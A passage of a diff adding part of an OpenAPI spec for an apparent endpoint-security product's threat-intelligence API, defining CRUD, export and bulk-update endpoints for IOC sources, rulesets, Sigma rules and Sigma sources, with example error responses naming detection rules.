+      description: ""
+      operationId: data_threat_intelligence_IOCSource_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_IOCSource_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCSource'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this ioc source.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_IOCSource_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCSource'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_IOCSource_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/IOCSource/{id}/items/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_IOCSource_items
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeleteSourceItemsBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeleteSourceItemsBody'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this ioc source.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/threat_intelligence/IOCSource/{id}/rules/:
+    get:
+      deprecated: true
+      description: This endpoint is deprecated. Use `data/threat_intelligence/IOCRule/?source_id=<source_id>` instead.
+      operationId: data_threat_intelligence_IOCSource_rules
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCSource'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this ioc source.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/threat_intelligence/Ruleset/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: engine
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Ruleset'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Ruleset'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ruleset'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/Ruleset/all/:
+    get:
+      description: Endpoint to list all ruleset without pagination.
+      operationId: data_threat_intelligence_Ruleset_all
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: engine
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_RulesetAll'
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Ruleset/{id}/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ruleset'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A UUID string identifying this ruleset.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RulesetUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RulesetUpdate'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RulesetUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RulesetUpdate'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/Ruleset/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this ruleset.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DuplicateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ruleset'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/Ruleset/{id}/update_all/:
+    parameters:
+      - description: A UUID string identifying this ruleset.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_update_all
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateAllRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/Ruleset/{id}/update_policies/:
+    parameters:
+      - description: A UUID string identifying this ruleset.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_update_policies
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdatePolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/Ruleset/{id}/update_source/{source_id}/:
+    parameters:
+      - description: A UUID string identifying this ruleset.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+      - in: path
+        name: source_id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_Ruleset_update_source
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateRulesetSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/SigmaRule/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_SigmaRule_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - in: query
+          name: rule_level
+          required: false
+          type: string
+        - in: query
+          name: rule_level_override
+          required: false
+          type: string
+        - in: query
+          name: rule_level_overridden
+          required: false
+          type: boolean
+        - in: query
+          name: rule_effective_level
+          required: false
+          type: string
+        - in: query
+          name: rule_effective_confidence
+          required: false
+          type: string
+        - in: query
+          name: source.id
+          required: false
+          type: string
+        - in: query
+          name: source.name
+          required: false
+          type: string
+        - in: query
+          name: ruleset_rule_default
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.enabled
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.quarantine_on_agent
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: content
+          required: false
+          type: string
+        - in: query
+          name: whitelist_count
+          required: false
+          type: number
+        - in: query
+          name: rule_name
+          required: false
+          type: string
+        - in: query
+          name: rule_description
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          in: query
+          name: rule_os
+          required: false
+          type: string
+        - enum:
+            - deprecated
+            - experimental
+            - stable
+            - test
+            - unsupported
+          in: query
+          name: rule_status
+          required: false
+          type: string
+        - in: query
+          name: rule_tactic_tags
+          required: false
+          type: string
+        - in: query
+          name: rule_technique_tags
+          required: false
+          type: string
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence
+          required: false
+          type: string
+        - in: query
+          name: errors
+          required: false
+          type: string
+        - in: query
+          name: warnings
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_SigmaPagination'
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_SigmaRule_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_CreateSigmaRule'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateRuleResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/SigmaRule/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_SigmaRule_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/SigmaRule/list_ruleset/{ruleset_id}/:
+    get:
+      description: List rules with ruleset rule data.
+      operationId: data_threat_intelligence_SigmaRule_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - in: query
+          name: rule_level
+          required: false
+          type: string
+        - in: query
+          name: rule_level_override
+          required: false
+          type: string
+        - in: query
+          name: rule_level_overridden
+          required: false
+          type: boolean
+        - in: query
+          name: rule_effective_level
+          required: false
+          type: string
+        - in: query
+          name: rule_effective_confidence
+          required: false
+          type: string
+        - in: query
+          name: source.id
+          required: false
+          type: string
+        - in: query
+          name: source.name
+          required: false
+          type: string
+        - in: query
+          name: ruleset_rule_default
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.enabled
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.quarantine_on_agent
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: content
+          required: false
+          type: string
+        - in: query
+          name: whitelist_count
+          required: false
+          type: number
+        - in: query
+          name: rule_name
+          required: false
+          type: string
+        - in: query
+          name: rule_description
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          in: query
+          name: rule_os
+          required: false
+          type: string
+        - enum:
+            - deprecated
+            - experimental
+            - stable
+            - test
+            - unsupported
+          in: query
+          name: rule_status
+          required: false
+          type: string
+        - in: query
+          name: rule_tactic_tags
+          required: false
+          type: string
+        - in: query
+          name: rule_technique_tags
+          required: false
+          type: string
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence
+          required: false
+          type: string
+        - in: query
+          name: errors
+          required: false
+          type: string
+        - in: query
+          name: warnings
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_SigmaRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/SigmaRule/update/:
+    parameters: []
+    post:
+      description: Update fields for multiple rules at once
+      operationId: data_threat_intelligence_SigmaRule_update_bulk
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_RuleBulkUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/SigmaRule/update_rules/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      deprecated: true
+      description: Deprecated call maintained for retrocompatability.
+      operationId: data_threat_intelligence_SigmaRule_update_rules
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_SigmaRulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/SigmaRule/update_ruleset/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_SigmaRule_update_ruleset
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_SigmaRulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/SigmaRule/{id}/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_SigmaRule_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Error, cannot delete a sigma rule used by one or more correlation rules
+          examples:
+            application/json:
+              code: linked_sigma_rule
+              details: You cannot delete a sigma rule used by one or more correlation rules
+              linked_correlation:
+                - correlation_rule_id: 586588f0-ff80-469c-9c0c-493fb42d72f9
+                  correlation_rule_name: double ls
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+                - correlation_rule_id: ae673282-9d52-4b07-920d-e3cbd2958c37
+                  correlation_rule_name: notepad loads kernel32 and user32
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+              sigma_rule:
+                sigma_rule_id: 35a896d1-0cb8-4b20-9dba-2c55a8f440a5
+                sigma_rule_name: powersploit
+                sigma_source_id: ebae6f85-e097-4987-8524-4398240e7d9a
+                sigma_source_name: sigma source A
+          schema:
+            $ref: '#/definitions/SigmaRuleLinkedToCorrelationRuleResponse'
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_SigmaRule_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SigmaRule'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this sigma rule.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_SigmaRule_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SigmaRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SigmaRule'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_SigmaRule_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SigmaRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SigmaRule'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/SigmaSource/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_SigmaSource_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence_default
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SigmaSource'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_SigmaSource_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SigmaSource'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/SigmaSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/SigmaSource/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_SigmaSource_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/SigmaSource/list_ruleset/{ruleset_id}/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_SigmaSource_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence_default
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_SigmaSourceRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/SigmaSource/{id}/:
+    delete:
+      description: |-
+        If the rule source contains at least one rule that is a dependency of at least
+        one Correlation rule, we block the deletion.
+      operationId: data_threat_intelligence_SigmaSource_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Error, cannot delete a sigma source that contain sigma rules used by one or more correlation rules
+          examples:
+            application/json:
+              code: linked_sigma_rule
+              details: You cannot delete a sigma rule used by one or more correlation rules
+              linked_correlation:
+                - correlation_rule_id: 586588f0-ff80-469c-9c0c-493fb42d72f9
+                  correlation_rule_name: double ls
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+                - correlation_rule_id: ae673282-9d52-4b07-920d-e3cbd2958c37
+                  correlation_rule_name: notepad loads kernel32 and user32
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+              sigma_rule:
+                sigma_rule_id: 35a896d1-0cb8-4b20-9dba-2c55a8f440a5
+                sigma_rule_name: powersploit
+                sigma_source_id: ebae6f85-e097-4987-8524-4398240e7d9a
+                sigma_source_name: sigma source A
+          schema:
+            $ref: '#/definitions/SigmaRuleLinkedToCorrelationRuleResponse'
+      summary: Delete the rule source.
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_SigmaSource_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SigmaSource'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this sigma source.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_SigmaSource_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SigmaSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SigmaSource'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_SigmaSource_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SigmaSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SigmaSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/SigmaSource/{id}/items/:
+    delete:
+      description: |-
+        If at least one of the rules to delete is a dependency of at least
+        one Correlation rule, we block the deletion (full success or fail).
+      operationId: data_threat_intelligence_SigmaSource_items
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeleteSourceItemsBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeleteSourceItemsBody'
+        "400":
+          description: Error, cannot delete a sigma rule used by one or more correlation rules
+          examples:
+            application/json:
+              code: linked_sigma_rule
+              details: You cannot delete a sigma rule used by one or more correlation rules
+              linked_correlation:
+                - correlation_rule_id: 586588f0-ff80-469c-9c0c-493fb42d72f9
+                  correlation_rule_name: double ls
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+                - correlation_rule_id: ae673282-9d52-4b07-920d-e3cbd2958c37
+                  correlation_rule_name: notepad loads kernel32 and user32
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+              sigma_rule:
+                sigma_rule_id: 35a896d1-0cb8-4b20-9dba-2c55a8f440a5
+                sigma_rule_name: powersploit
+                sigma_source_id: ebae6f85-e097-4987-8524-4398240e7d9a
+                sigma_source_name: sigma source A
+          schema:
+            $ref: '#/definitions/SigmaRuleLinkedToCorrelationRuleResponse'
+      summary: Delete one or more rules from the rule source.
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this sigma source.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/threat_intelligence/TelemetryFilter/:
+    get:
+      deprecated: true
+      description: ""
